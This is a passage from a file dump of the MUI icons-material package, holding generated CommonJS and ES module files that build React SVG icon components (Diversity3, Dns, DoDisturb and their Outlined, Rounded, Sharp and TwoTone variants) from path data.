    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.32 13.01c.96.02 1.85.5 2.45 1.34C9.5 15.38 10.71 16 12 16s2.5-.62 3.23-1.66c.6-.84 1.49-1.32 2.45-1.34-.72-1.22-3.6-2-5.68-2-2.07 0-4.96.78-5.68 2.01M4 13c1.66 0 3-1.34 3-3S5.66 7 4 7s-3 1.34-3 3 1.34 3 3 3m16 0c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3m-8-3c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 14h-3.27c-.77 0-1.35.45-1.68.92-.04.06-1.36 2.08-4.05 2.08-1.43 0-3.03-.64-4.05-2.08-.39-.55-1-.92-1.68-.92H3c-1.1 0-2 .9-2 2v4h7v-2.26c1.15.8 2.54 1.26 4 1.26s2.85-.46 4-1.26V20h7v-4c0-1.1-.9-2-2-2\"\n}, \"1\")], 'Diversity3');"
  },
  {
    "path": "packages/mui-icons-material/lib/Diversity3Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.32 13.01c.96.02 1.85.5 2.45 1.34C9.5 15.38 10.71 16 12 16s2.5-.62 3.23-1.66c.6-.84 1.49-1.32 2.45-1.34-.72-1.22-3.6-2-5.68-2-2.07 0-4.96.78-5.68 2.01M4 13c1.66 0 3-1.34 3-3S5.66 7 4 7s-3 1.34-3 3 1.34 3 3 3m16 0c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3m-8-3c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 14h-3.27c-.77 0-1.35.45-1.68.92-.04.06-1.36 2.08-4.05 2.08-1.43 0-3.03-.64-4.05-2.08-.39-.55-1-.92-1.68-.92H3c-1.1 0-2 .9-2 2v4h7v-2.26c1.15.8 2.54 1.26 4 1.26s2.85-.46 4-1.26V20h7v-4c0-1.1-.9-2-2-2\"\n}, \"1\")], 'Diversity3Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Diversity3Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.32 13.01c.96.02 1.85.5 2.45 1.34C9.5 15.38 10.71 16 12 16s2.5-.62 3.23-1.66c.6-.84 1.49-1.32 2.45-1.34-.72-1.22-3.6-2-5.68-2-2.07 0-4.96.78-5.68 2.01M4 13c1.66 0 3-1.34 3-3S5.66 7 4 7s-3 1.34-3 3 1.34 3 3 3m16 0c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3m-8-3c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 14h-3.27c-.77 0-1.35.45-1.68.92-.04.06-1.36 2.08-4.05 2.08-1.43 0-3.03-.64-4.05-2.08-.39-.55-1-.92-1.68-.92H3c-1.1 0-2 .9-2 2v4h7v-2.26c1.15.8 2.54 1.26 4 1.26s2.85-.46 4-1.26V20h7v-4c0-1.1-.9-2-2-2\"\n}, \"1\")], 'Diversity3Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Diversity3Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.32 13.01c.96.02 1.85.5 2.45 1.34C9.5 15.38 10.71 16 12 16s2.5-.62 3.23-1.66c.6-.84 1.49-1.32 2.45-1.34-.72-1.22-3.6-2-5.68-2-2.07 0-4.96.78-5.68 2.01M4 13c1.66 0 3-1.34 3-3S5.66 7 4 7s-3 1.34-3 3 1.34 3 3 3m16 0c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3m-8-3c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 14h-3.27c-.77 0-1.35.45-1.68.92-.04.06-1.36 2.08-4.05 2.08-1.43 0-3.03-.64-4.05-2.08-.39-.55-1-.92-1.68-.92H3c-1.1 0-2 .9-2 2v3c0 .55.45 1 1 1h5c.55 0 1-.45 1-1v-1.26c1.15.8 2.54 1.26 4 1.26s2.85-.46 4-1.26V19c0 .55.45 1 1 1h5c.55 0 1-.45 1-1v-3c0-1.1-.9-2-2-2\"\n}, \"1\")], 'Diversity3Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Diversity3Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.32 13.01c.96.02 1.85.5 2.45 1.34C9.5 15.38 10.71 16 12 16s2.5-.62 3.23-1.66c.6-.84 1.49-1.32 2.45-1.34-.72-1.22-3.6-2-5.68-2-2.07 0-4.96.78-5.68 2.01M4 13c1.66 0 3-1.34 3-3S5.66 7 4 7s-3 1.34-3 3 1.34 3 3 3m16 0c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3m-8-3c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 14h-3.27c-.77 0-1.35.45-1.68.92-.04.06-1.36 2.08-4.05 2.08-1.43 0-3.03-.64-4.05-2.08-.39-.55-1-.92-1.68-.92H3c-1.1 0-2 .9-2 2v3c0 .55.45 1 1 1h5c.55 0 1-.45 1-1v-1.26c1.15.8 2.54 1.26 4 1.26s2.85-.46 4-1.26V19c0 .55.45 1 1 1h5c.55 0 1-.45 1-1v-3c0-1.1-.9-2-2-2\"\n}, \"1\")], 'Diversity3Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Diversity3Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.32 13.01c.96.02 1.85.5 2.45 1.34C9.5 15.38 10.71 16 12 16s2.5-.62 3.23-1.66c.6-.84 1.49-1.32 2.45-1.34-.72-1.22-3.6-2-5.68-2-2.07 0-4.96.78-5.68 2.01M4 13c1.66 0 3-1.34 3-3S5.66 7 4 7s-3 1.34-3 3 1.34 3 3 3m16 0c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3m-8-3c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 14h-3.27c-.77 0-1.35.45-1.68.92-.04.06-1.36 2.08-4.05 2.08-1.43 0-3.03-.64-4.05-2.08-.39-.55-1-.92-1.68-.92H3c-1.1 0-2 .9-2 2v4h7v-2.26c1.15.8 2.54 1.26 4 1.26s2.85-.46 4-1.26V20h7v-4c0-1.1-.9-2-2-2\"\n}, \"1\")], 'Diversity3Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Diversity3Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.32 13.01c.96.02 1.85.5 2.45 1.34C9.5 15.38 10.71 16 12 16s2.5-.62 3.23-1.66c.6-.84 1.49-1.32 2.45-1.34-.72-1.22-3.6-2-5.68-2-2.07 0-4.96.78-5.68 2.01M4 13c1.66 0 3-1.34 3-3S5.66 7 4 7s-3 1.34-3 3 1.34 3 3 3m16 0c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3m-8-3c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 14h-3.27c-.77 0-1.35.45-1.68.92-.04.06-1.36 2.08-4.05 2.08-1.43 0-3.03-.64-4.05-2.08-.39-.55-1-.92-1.68-.92H3c-1.1 0-2 .9-2 2v4h7v-2.26c1.15.8 2.54 1.26 4 1.26s2.85-.46 4-1.26V20h7v-4c0-1.1-.9-2-2-2\"\n}, \"1\")], 'Diversity3Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Diversity3TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.32 13.01c.96.02 1.85.5 2.45 1.34C9.5 15.38 10.71 16 12 16s2.5-.62 3.23-1.66c.6-.84 1.49-1.32 2.45-1.34-.72-1.22-3.6-2-5.68-2-2.07 0-4.96.78-5.68 2.01M4 13c1.66 0 3-1.34 3-3S5.66 7 4 7s-3 1.34-3 3 1.34 3 3 3m16 0c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3m-8-3c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 14h-3.27c-.77 0-1.35.45-1.68.92-.04.06-1.36 2.08-4.05 2.08-1.43 0-3.03-.64-4.05-2.08-.39-.55-1-.92-1.68-.92H3c-1.1 0-2 .9-2 2v4h7v-2.26c1.15.8 2.54 1.26 4 1.26s2.85-.46 4-1.26V20h7v-4c0-1.1-.9-2-2-2\"\n}, \"1\")], 'Diversity3TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Diversity3TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.32 13.01c.96.02 1.85.5 2.45 1.34C9.5 15.38 10.71 16 12 16s2.5-.62 3.23-1.66c.6-.84 1.49-1.32 2.45-1.34-.72-1.22-3.6-2-5.68-2-2.07 0-4.96.78-5.68 2.01M4 13c1.66 0 3-1.34 3-3S5.66 7 4 7s-3 1.34-3 3 1.34 3 3 3m16 0c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3m-8-3c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 14h-3.27c-.77 0-1.35.45-1.68.92-.04.06-1.36 2.08-4.05 2.08-1.43 0-3.03-.64-4.05-2.08-.39-.55-1-.92-1.68-.92H3c-1.1 0-2 .9-2 2v4h7v-2.26c1.15.8 2.54 1.26 4 1.26s2.85-.46 4-1.26V20h7v-4c0-1.1-.9-2-2-2\"\n}, \"1\")], 'Diversity3TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Dns.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 13H4c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1h16c.55 0 1-.45 1-1v-6c0-.55-.45-1-1-1M7 19c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M20 3H4c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1h16c.55 0 1-.45 1-1V4c0-.55-.45-1-1-1M7 9c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'Dns');"
  },
  {
    "path": "packages/mui-icons-material/lib/Dns.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 13H4c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1h16c.55 0 1-.45 1-1v-6c0-.55-.45-1-1-1M7 19c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M20 3H4c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1h16c.55 0 1-.45 1-1V4c0-.55-.45-1-1-1M7 9c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'Dns');"
  },
  {
    "path": "packages/mui-icons-material/lib/DnsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 15v4H5v-4zm1-2H4c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1h16c.55 0 1-.45 1-1v-6c0-.55-.45-1-1-1M7 18.5c-.82 0-1.5-.67-1.5-1.5s.68-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M19 5v4H5V5zm1-2H4c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1h16c.55 0 1-.45 1-1V4c0-.55-.45-1-1-1M7 8.5c-.82 0-1.5-.67-1.5-1.5S6.18 5.5 7 5.5s1.5.68 1.5 1.5S7.83 8.5 7 8.5\"\n}), 'DnsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DnsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 15v4H5v-4zm1-2H4c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1h16c.55 0 1-.45 1-1v-6c0-.55-.45-1-1-1M7 18.5c-.82 0-1.5-.67-1.5-1.5s.68-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M19 5v4H5V5zm1-2H4c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1h16c.55 0 1-.45 1-1V4c0-.55-.45-1-1-1M7 8.5c-.82 0-1.5-.67-1.5-1.5S6.18 5.5 7 5.5s1.5.68 1.5 1.5S7.83 8.5 7 8.5\"\n}), 'DnsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DnsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 13H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-4c0-1.1-.9-2-2-2M7 19c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M19 3H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M7 9c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'DnsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DnsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 13H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-4c0-1.1-.9-2-2-2M7 19c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M19 3H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M7 9c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'DnsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DnsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 13H3v8h18zM7 19c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M21 3H3v8h18zM7 9c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'DnsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DnsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 13H3v8h18zM7 19c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M21 3H3v8h18zM7 9c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'DnsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DnsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 9h14V5H5zm2-3.5c.83 0 1.5.67 1.5 1.5S7.83 8.5 7 8.5 5.5 7.83 5.5 7 6.17 5.5 7 5.5M5 19h14v-4H5zm2-3.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 13H4c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1h16c.55 0 1-.45 1-1v-6c0-.55-.45-1-1-1m-1 6H5v-4h14zm-12-.5c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5.67 1.5 1.5 1.5M20 3H4c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1h16c.55 0 1-.45 1-1V4c0-.55-.45-1-1-1m-1 6H5V5h14zM7 8.5c.83 0 1.5-.67 1.5-1.5S7.83 5.5 7 5.5 5.5 6.17 5.5 7 6.17 8.5 7 8.5\"\n}, \"1\")], 'DnsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DnsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 9h14V5H5zm2-3.5c.83 0 1.5.67 1.5 1.5S7.83 8.5 7 8.5 5.5 7.83 5.5 7 6.17 5.5 7 5.5M5 19h14v-4H5zm2-3.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 13H4c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1h16c.55 0 1-.45 1-1v-6c0-.55-.45-1-1-1m-1 6H5v-4h14zm-12-.5c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5.67 1.5 1.5 1.5M20 3H4c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1h16c.55 0 1-.45 1-1V4c0-.55-.45-1-1-1m-1 6H5V5h14zM7 8.5c.83 0 1.5-.67 1.5-1.5S7.83 5.5 7 5.5 5.5 6.17 5.5 7 6.17 8.5 7 8.5\"\n}, \"1\")], 'DnsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoDisturb.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2M4 12c0-4.4 3.6-8 8-8 1.8 0 3.5.6 4.9 1.7L5.7 16.9C4.6 15.5 4 13.8 4 12m8 8c-1.8 0-3.5-.6-4.9-1.7L18.3 7.1C19.4 8.5 20 10.2 20 12c0 4.4-3.6 8-8 8\"\n}), 'DoDisturb');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoDisturb.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2M4 12c0-4.4 3.6-8 8-8 1.8 0 3.5.6 4.9 1.7L5.7 16.9C4.6 15.5 4 13.8 4 12m8 8c-1.8 0-3.5-.6-4.9-1.7L18.3 7.1C19.4 8.5 20 10.2 20 12c0 4.4-3.6 8-8 8\"\n}), 'DoDisturb');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoDisturbAlt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8 0-1.85.63-3.55 1.69-4.9L16.9 18.31C15.55 19.37 13.85 20 12 20m6.31-3.1L7.1 5.69C8.45 4.63 10.15 4 12 4c4.42 0 8 3.58 8 8 0 1.85-.63 3.55-1.69 4.9\"\n}), 'DoDisturbAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoDisturbAlt.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8 0-1.85.63-3.55 1.69-4.9L16.9 18.31C15.55 19.37 13.85 20 12 20m6.31-3.1L7.1 5.69C8.45 4.63 10.15 4 12 4c4.42 0 8 3.58 8 8 0 1.85-.63 3.55-1.69 4.9\"\n}), 'DoDisturbAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoDisturbAltOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2M4 12c0-4.4 3.6-8 8-8 1.8 0 3.5.6 4.9 1.7L5.7 16.9C4.6 15.5 4 13.8 4 12m8 8c-1.8 0-3.5-.6-4.9-1.7L18.3 7.1C19.4 8.5 20 10.2 20 12c0 4.4-3.6 8-8 8\"\n}), 'DoDisturbAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoDisturbAltOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2M4 12c0-4.4 3.6-8 8-8 1.8 0 3.5.6 4.9 1.7L5.7 16.9C4.6 15.5 4 13.8 4 12m8 8c-1.8 0-3.5-.6-4.9-1.7L18.3 7.1C19.4 8.5 20 10.2 20 12c0 4.4-3.6 8-8 8\"\n}), 'DoDisturbAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoDisturbAltRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.5 2 2 6.5 2 12s4.5 10 10 10 10-4.5 10-10S17.5 2 12 2M4 12c0-4.4 3.6-8 8-8 1.8 0 3.5.6 4.9 1.7L5.7 16.9C4.6 15.5 4 13.8 4 12m8 8c-1.8 0-3.5-.6-4.9-1.7L18.3 7.1C19.4 8.5 20 10.2 20 12c0 4.4-3.6 8-8 8\"\n}), 'DoDisturbAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DoDisturbAltRounded.mjs",
